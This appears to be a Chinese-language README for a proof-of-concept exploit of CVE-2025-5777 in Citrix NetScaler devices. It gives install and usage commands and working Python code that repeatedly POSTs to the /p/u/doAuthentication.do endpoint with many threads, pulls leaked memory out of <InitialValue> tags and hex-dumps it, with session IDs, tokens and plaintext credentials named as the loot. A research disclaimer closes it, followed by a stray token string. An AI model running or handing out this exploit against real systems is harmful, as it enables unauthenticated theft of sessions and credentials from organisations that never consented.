CitrixBleed 2 (CVE-2025-5777): NetScaler设备的新"心脏滴血"漏洞利用工具 💔🩸
这是一个针对 CVE-2025-5777 的概念验证 (PoC) 利用工具。该漏洞是一个影响 Citrix NetScaler ADC 和 NetScaler Gateway 设备的严重内存泄露漏洞,允许未经身份验证的远程攻击者读取系统内存中的敏感数据。
✨ 功能特性
- 远程利用:利用目标设备的
/p/u/doAuthentication.do端点,无需任何身份验证即可触发内存泄露。 - 内存数据提取:自动解析响应中的 XML 数据,提取包含泄露内存的
<InitialValue>标签内容。 - 十六进制转储:以类似
xxd命令的格式清晰、美观地打印泄露的内存数据,便于分析。 - 高并发支持:支持多线程并发发送请求,提高数据泄露的效率。
- 调试与代理:提供详细输出模式 (
-v) 和 HTTP 代理支持 (-p),方便安全研究人员进行深入分析和流量调试。 - 优雅停止:通过
Ctrl+C可以优雅地停止正在运行的任务。
📦 安装指南
系统要求
- Python 3.8 或更高版本
- 支持的操作系统:Linux (如 Ubuntu 20.04.6 LTS), macOS, Windows (WSL推荐)
安装步骤
- 克隆或下载项目代码 到本地。
- 安装依赖库:
本项目依赖
aiohttp和colorama库。可以使用pip命令一键安装:pip3 install aiohttp colorama
🚀 使用说明
基础用法
python3 exploit.py <目标基础URL>
例如:
python3 exploit.py https://target.example.com
高级选项
你可以通过命令行参数来定制工具的行为:
python3 exploit.py <目标基础URL> [选项]
可用选项:
-v,--verbose:启用详细输出模式,打印调试信息,如请求状态、响应头等。-p <URL>,--proxy <URL>:通过 HTTP 代理发送请求,例如http://127.0.0.1:8080,便于用 Burp Suite 等工具抓包分析。-t <N>,--threads <N>:设置并发线程数,默认为 10。增加线程数可以提高数据泄露的速度。
使用示例:
# 启用详细输出并使用20个线程
python3 exploit.py https://target.example.com -v -t 20
# 通过Burp Suite代理进行调试
python3 exploit.py https://target.example.com -p http://127.0.0.1:8080 -v
典型使用场景
- 漏洞验证:安全研究员可以使用此脚本快速验证目标 NetScaler 设备是否存在 CVE-2025-5777 漏洞。脚本在首轮请求后如果未检测到泄露,将自动停止。
- 数据泄露分析:通过多线程持续向目标发送请求,收集泄露的内存数据(如会话ID、认证令牌、明文凭证),用于分析漏洞影响范围和危害程度。
- 流量特征研究:结合
-v和-p参数,研究人员可以捕获并分析攻击流量,为入侵检测系统 (IDS) 或 Web 应用防火墙 (WAF) 编写防御规则。
🧬 核心代码
核心漏洞利用函数 fetch
该函数负责向目标端点发送构造的 POST 请求,并处理响应,提取泄露的数据。
async def fetch(session, url):
# 构造易受攻击的完整URL
full_url = f"{url}/p/u/doAuthentication.do"
try:
# 发送POST请求,数据为"login"
async with session.post(full_url, data="login", proxy=proxy, ssl=False) as response:
if verbose:
print(f"{Fore.CYAN}[DEBUG] POST to {full_url} -> Status: {response.status}")
# 如果请求成功
if response.status == 200:
content = await response.read()
if verbose:
print(f"{Fore.CYAN}[DEBUG] Response body (first 200 bytes): {content[:200]!r}")
# 调用函数从响应中提取<InitialValue>标签内的数据
extract_initial_value(content)
else:
if verbose:
print(f"{Fore.RED}[DEBUG] Non-200 status code received: {response.status}")
except aiohttp.ClientConnectorError as e:
print(f"{Fore.RED}[!] Connection Error: {e}")
except Exception as e:
print(f"{Fore.RED}[!] Unexpected Error: {e}")
数据提取与十六进制转储 extract_initial_value & hex_dump
这两个函数协同工作,从服务器响应中解析出泄露的内存,并以专业的十六进制格式打印出来。
def hex_dump(data):
"""
将字节数据以标准十六进制格式输出,类似于Linux的xxd命令。
Args:
data: 要打印的字节数据。
"""
for i in range(0, len(data), 16):
chunk = data[i:i+16]
# 将字节转换为十六进制字符串
hex_bytes = ' '.join(f'{b:02x}' for b in chunk)
# 将可打印字节转换为ASCII字符,不可打印的显示为'.'
ascii_str = ''.join((chr(b) if 32 <= b <= 126 else '.') for b in chunk)
print(f'{i:08x}: {hex_bytes:<48} {ascii_str}')
def extract_initial_value(content_bytes):
"""
从响应内容中提取<InitialValue>标签内的值,并调用hex_dump打印。
Args:
content_bytes: HTTP响应的原始字节内容。
"""
global leak_detected_once
try:
# 将字节内容解码为字符串,无法解码的字符用占位符替换
content_str = content_bytes.decode("utf-8", errors="replace")
# 使用正则表达式查找<InitialValue>标签内的内容(非贪婪匹配)
match = re.search(r"<InitialValue>(.*?)</InitialValue>", content_str, re.DOTALL)
# 如果找到标签且内容不为空
if match and match.group(1).strip():
leak_detected_once = True
print(f"{Fore.GREEN}\n[+] Found InitialValue:")
val = match.group(1)
# 将提取的字符串重新编码为字节进行十六进制转储
hex_dump(val.encode("utf-8", errors="replace"))
elif verbose:
print(f"{Fore.YELLOW}[DEBUG] No <InitialValue> tag with value found.")
except Exception as e:
print(f"{Fore.RED}[!] Regex parsing error: {e}")
主控制流程 main
该异步函数是整个脚本的“大脑”,它管理并发任务、控制停止条件,并执行初始漏洞验证逻辑。
async def main(url):
global stop_flag, leak_detected_once, initial_check_done
# 配置连接器以限制并发连接数
connector = aiohttp.TCPConnector(limit=threads)
# 设置请求超时
timeout = aiohttp.ClientTimeout(total=15)
async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
# 主循环,直到收到停止信号
while not stop_flag:
# 创建多个fetch任务并发执行
tasks = [fetch(session, url) for _ in range(threads)]
await asyncio.gather(*tasks)
# 首次完整轮次(所有并发请求完成)后的检查逻辑
if not initial_check_done:
initial_check_done = True
# 如果在首次轮次中没有检测到任何泄露,则认为目标不易受攻击并退出
if not leak_detected_once:
print(f"{Fore.YELLOW}[+] No leak detected in initial round. Target likely not vulnerable.")
stop_flag = True
break
else:
print(f"{Fore.GREEN}[+] Leak detected! Continuing to extract...")
# 每轮循环后休眠1秒,避免对目标服务器造成过大压力
await asyncio.sleep(1)
⚠️ 免责声明
本内容仅供教育和研究目的使用 🧠🔬。 此处分享的信息,包括任何脚本或漏洞利用代码,不得用于未经授权的访问、恶意活动或违反任何适用法律 🛑📜。
作者和发布者对材料的滥用不承担任何责任 🚫💻。 在测试或探测任何系统之前,务必获得适当的授权 🎯✅。
💡 **三思而后行,进行道德黑客行为。**FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ72NViR4Qo1ajpebLXz/I77